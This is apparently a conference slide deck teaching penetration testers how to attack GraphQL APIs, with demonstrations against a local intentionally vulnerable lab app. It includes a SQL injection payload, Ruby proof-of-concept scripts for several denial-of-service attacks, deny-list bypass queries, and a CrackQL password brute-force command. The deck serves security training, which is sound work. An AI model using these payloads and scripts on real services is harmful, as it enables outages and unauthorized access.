GraphQL for Pentesters

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

What is GraphQL?

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

History

  • developed by Facebook in 2012
  • released in 2015
  • moved to GraphQL Foundation (Linux foundation) in 2018
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Goal

  • ✅ alternative to
    • API schema: REST, SOAP, gRPC, etc.
  • ❌ doesn't replace
    • graph databases (Neo4j, ArangoDB, OrientDB)
    • query lang. (SQL, NoSQL)
  • but can be used on top of other API
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Key info

  • available for all major languages
  • query result is returned in JSON
  • both a query language and server-side API runtime
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Concepts

  • ask only for what you need
  • predictable results
  • get many resources in a single request
  • organized in terms of types and fields, not endpoints
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Concepts 2

  • add new fields and types to a GraphQL API without impacting existing queries
  • not limited by a specific storage engine
  • real-time ready
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Example: data description

type Project {
  name: String
  tagline: String
  contributors: [User]
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Example: query

{
  project(name: "GraphQL") {
    tagline
  }
}

equiv.

SELECT tagline FROM project where name = "GraphQL"
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Example: answer

{
  "project": {
    "tagline": "A query language for APIs"
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Only what you need

{
  hero {
    name
  }
}
{
  "hero": {
      "name": "Luke Skywalker"
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  hero {
    name
    height
  }
}
{
  "hero": {
      "name": "Luke Skywalker",
      "height": 1.72
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

With REST:

GET /hero/0

{
  "name": "Luke Skywalker",
  "height": 1.72,
  "mass": 77,
  "address": "Galaxy du Centaure"
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Many resources in a single request

query {
  User(id: 1337) {
    name
    posts {
      title
    }
    followers(last: 3) {
      name
    }
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  "data": {
    "User": {
      "name": "noraj",
      "posts": [
        { "title": "From cookie flag to DA" },
        { "title": "Why you shouldn't disable IPv6" }
      ],
      "followers": [
        { "name": "Alice" },
        { "name": "Bob" }
        { "name": "Carole" }
      ]
    }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

REST query n°1

GET /users/1337

{
  "user": {
    "id": 1337,
    "name": "noraj",
    "address": {...},
    "birthday": "30/02/1979"
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

REST query n°2

GET /users/1337/posts

{
  "posts": [{
    "id": 5542,
    "title": "From cookie flag to DA",
    "content": "...",
    "comments": [...]
  }, {
    "id": 5543,
    "title": "Why you shouldn't disable IPv6",
    "content": "...",
    "comments": [...]
  }]
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

REST query n°3

GET /users/1337/followers

{
  "followers": [{
    "id": 1338,
    "name": "Alice",
    "address": {...},
    "birthday": "01/05/1979"
    },{
    "id": 1339,
    "name": "Bob",
    "address": {...},
    "birthday": "15/07/1978"
    },{...}]
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
  • With REST:
    • 3 query
    • too much data
  • With GraphQL
    • 1 query
    • exact data
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Enough blah blah, let's talk security

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Found on OWASP VWAD:

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Install DVGA

$ git clone https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application.git dvga && cd dvga
$ docker build -t dvga .
$ docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 --name dvga dvga
$ cat /etc/hosts | grep .test
127.0.0.2 noraj.test

Verify: curl http://noraj.test:5013/graphql

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Now let's put in practice Escape Pentesting GraphQL 101 series.

  1. Part 1 - Discovery
  2. Part 2 - Interaction
  3. Part 3 - Exploitation
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Reconnaissance / Discovery

  • Understanding the limits enforced
  • Determining the verbosity
  • Fetching all the information possible about the architecture
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Before we start: Resources

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

1st query / most basic operation

query {
  __typename
}
{
  "data": {
    "__typename": "Query"
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
mutation {
  __typename
}
{
  "data": {
    "__typename": "Mutations"
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL mutation ~ PUT for REST

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Looking for the execution time of the query can be helpful to detect DoS attacks

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Alias

query {
  title1: __typename
  title2: __typename
  title3: __typename
  title4: __typename
  title5: __typename
}

Several queries in one query.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  "data": {
    "title1": "Query",
    "title2": "Query",
    "title3": "Query",
    "title4": "Query",
    "title5": "Query"
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
  • Many alias, detect alias limit
  • Very long alias name, detect character limit
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Detect verbosity

query {
  noraj
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  "errors": [
    {
      "message": "Cannot query field \"noraj\" on type \"Query\".",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ]
    }
  ]
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Introspection

With gRPC there can be Reflection enabled that allow you to retrieve the prototype and list services.

Eg. with grpcurl:

# Server supports reflection
grpcurl localhost:8787 list
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Introspection 2

With GraphQL there is not such an easy thing to get the schema but there is something similar called introspection.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Introspection 3

{
  __schema {
    queryType {
      fields {
        name
      }
    }
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Full introspection query to get all queries, mutations, fields, etc.

Or this one that is compatible with GraphQL Voyager.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Did you see the size of the scrollbar? Will you read that?

No of course, but you can visualize that with GraphQL Voyager!

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Ok a basic security measure is to disable introspection, so how to get schema when it is disabled?

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

We'll abuse of error suggestions: did you mean.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
query {
  past
}
{
  "errors": [
    {
      "message": "Cannot query field \"past\" on type \"Query\". Did 
        you mean \"paste\" or \"pastes\"?",
      "locations": [
        {
          "line": 3,
          "column": 2
        }
      ]
    }
  ]
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

We can automate this with Clairvoyance.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
clairvoyance -o /tmp/dvga-schema.json http://noraj.test:5013/graphql \
# -w /usr/lib/python3.10/site-packages/clairvoyance/wordlist.txt

# /usr/share/seclists/Miscellaneous/lang-english.txt is too heavy,
# ~350k entries while default clairvoyance WL is ~10k

# english-words is ~5k entries
sudo -E wordlistctl fetch -d english-words
clairvoyance -o /tmp/dvga-schema.json http://noraj.test:5013/graphql \
 -w /usr/share/wordlists/misc/english-words.10.txt

# /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
# is ~38k and full of garbage

# else build a custom wordlist
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Finding paths

graphql-path-enum lists the different ways of reaching a given type in a GraphQL schema.

$ graphql-path-enum -i /tmp/introspection-response.json -t OwnerObject
Found 3 ways to reach the "OwnerObject" node:
- Query (pastes) -> PasteObject (owner) -> OwnerObject
- Query (paste) -> PasteObject (owner) -> OwnerObject
- Query (readAndBurn) -> PasteObject (owner) -> OwnerObject
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Fingerprinting

Often the GraphQL endpoint will be /graphql or /v1/graphql. It's generally not hard to find but else you can try detected the endpoint with graphw00f.

$ graphw00f -d -t http://noraj.test:5013
[*] Checking http://noraj.test:5013/
[*] Checking http://noraj.test:5013/graphql
[!] Found GraphQL at http://noraj.test:5013/graphql
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Identify GraphQL engine.

$ graphw00f -f -t http://noraj.test:5013/graphql
[*] Checking if GraphQL is available at http://noraj.test:5013/graphql...
[!] Found GraphQL.
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Vulnerabilities

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Multipath Evaluation

Blocking access to character object?

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Five locations have to be blocked:

  • character query
  • characters query
  • results field of the characters object
  • resident field of the Location object
  • characters field of the Episode object
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

It's prone to error. If you forget one place...

For example, for a website, you are not authorized to view other users info (client object) but you can access the client filed of the comments object.

It's allow authorization bypass.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

SQL injection

GraphQL API often fetch data from a DB.

Where to inject in order to detect a SQLi?

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

The only injectable inputs are Arguments.

query {
  user(name: "' or 1=1 --") {
    id
      email
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Denial of Service - Batch Query Attack (JSON array)

  1. Find a query that take a long time to execute
  2. Batch it!
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL query:

{
  systemUpdate
}

HTTP request:

POST /graphql HTTP/1.1
...
Content-Type: application/json

{"query":"{\n\tsystemUpdate\n}"}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL query:

Most GraphQL client don't support batch query, they often have a mode to select one or another but won't send both on the HTTP JSON. So we'll have to craft the HTTP request ourselves.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Ruby PoC for batch querying:

require 'httpx'

data = Array.new(3) {
  { 'query' => 'query { systemUpdate }'}
}

HTTPX
  .plugin(:proxy)
  .with_proxy(uri: 'http://127.0.0.1:8080')
  .with(timeout: { operation_timeout: 120 })
  .post('http://noraj.test:5013/graphql', json: data)
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
  • query 3 times
  • send over the proxy for Burp logging
  • extend timeout (default 60sec) because systemUpdate takes ~32 sec and we are querying it 3 times so it will take ~ 90 sec
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

HTTP request body:

[
  {
    "query": "query { systemUpdate }"
  },
  {
    "query": "query { systemUpdate }"
  },
  {
    "query": "query { systemUpdate }"
  }
]
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Denial of Service - Deep recursion query attack

Possible when there is a circular reference

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Ruby PoC for deep recursion:

require 'httpx'

nesting_level = 10
recursion_pattern = 'pastes{owner{'
fields = 'name'
payload = recursion_pattern * nesting_level + fields + '}}' * nesting_level

data = { 'query' => "query{#{payload}}"}

HTTPX
  .plugin(:proxy)
  .with_proxy(uri: 'http://127.0.0.1:8080')
  .with(timeout: { operation_timeout: 120 })
  .post('http://noraj.test:5013/graphql', json: data)
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Denial of Service - Field duplication attack

query {
  pastes {
    ipAddr # 1
    ipAddr # 2
    # ...
    ipAddr # 1000
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Ruby PoC for field duplication:

require 'httpx'

copy_level = 6000
copy_pattern = 'ipAddr,'
payload = copy_pattern * copy_level

data = { 'query' => "query{pastes{#{payload}}}"}

HTTPX
  .plugin(:proxy)
  .with_proxy(uri: 'http://127.0.0.1:8080')
  .with(timeout: { operation_timeout: 120 })
  .post('http://noraj.test:5013/graphql', json: data)
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Denial of Service - Query aliases duplication attack

Alternative if batching is disabled.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
query {
  q1: systemUpdate
  q2: systemUpdate
  q3: systemUpdate
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Ruby PoC for query aliases duplication:

require 'httpx'

copy_level = 3
query = 'systemUpdate'
payload = (1..copy_level).map { |i| "q#{i}:#{query}" }.join(',')
data = { 'query' => "query{#{payload}}"}

HTTPX
  .plugin(:proxy)
  .with_proxy(uri: 'http://127.0.0.1:8080')
  .with(timeout: { operation_timeout: 120 })
  .post('http://noraj.test:5013/graphql', json: data)
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Denial of Service - Circular fragments attack

The Spread operator (...) allows to reuse fragments. It's like a mixin.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
fragment smallPaste on PasteObject {
  id
  title
  content
}
query allPastes {
  pastes {
    ...smallPaste
  }
}
query allPastesWithStatus {
  pastes {
    public
    ...smallPaste
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

But what if we create a loop?

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
fragment noraj on PasteObject {
  title
  content
  ...jaron
}
fragment jaron on PasteObject {
  content
  title
  ...noraj
}
query {
  ...noraj
}

PS: the query is not even needed

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Result:

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Query whitelist/blacklist bypass

Direct query:

query {
  systemHealth
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  "errors": [
    {
      "message": "400 Bad Request: Query is on the Deny List.",
      "locations": [
        {
          "line": 2,
          "column": 2
        }
      ],
      "path": [
        "systemHealth"
      ]
    }
  ],
  "data": {
    "systemHealth": null
  }
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Query with custom operation name:

query random {
  systemHealth
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  "errors": [
    {
      "message": "400 Bad Request: Operation Name \"random\" is not allowed.",
      "locations": [
        {
          "line": 2,
          "column": 2
        }
      ],
      "path": [
        "systemHealth"
      ]
    }
  ],
  "data": {
    "systemHealth": null
  }
}

Bypass blacklist but not whitelist.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Query with allowed operation name:

query getPastes {
  systemHealth
}
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
{
  "data": {
    "systemHealth": "System Load: 2.54\n"
  }
}

Bypass both (poorly written) blacklist and whitelist.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
query {
  q1:systemHealth
}

Aliases too could bypass filters.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

CSRF - POST-based

Content-Type: application/json ➡️ application/x-www-form-urlencoded

Mostly useful for mutations

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

CSRF - GET-based

  • misconfigured GraphiQL
  • mutations in GET param
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

Many other vulnerabilities that are not necessarily specific to GraphQL.

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

More tools

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

graphql-cop - GraphQL vulnerability scanner

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

CrackQL - GraphQL password brute-force and fuzzing utility

  • Defense evasion: evades traditional API HTTP rate-limit and query cost analysis defenses
  • Generic fuzzing (intruder like but benefits from defense evasion)
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)
mutation {
  login(username: {{username|str}}, password: {{password|str}}) {
    accessToken
  }
}
crackql -t http://noraj.test:5013/graphql -q login.graphql -i usernames_and_passwords.csv
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQLmap - scripting engine to interact with a graphql endpoint

  • field fuzzing
  • NoSQLi / SQLi
GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

GraphQL Threat Matrix - resource that list the differences in how GraphQL implementations interpret and conform to the GraphQL specification

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)

InQL - (CLI tool and) Burp extension for GraphQL

GraphQL for Pentesters - 22/11/2022 - Alexandre ZANNI (@noraj)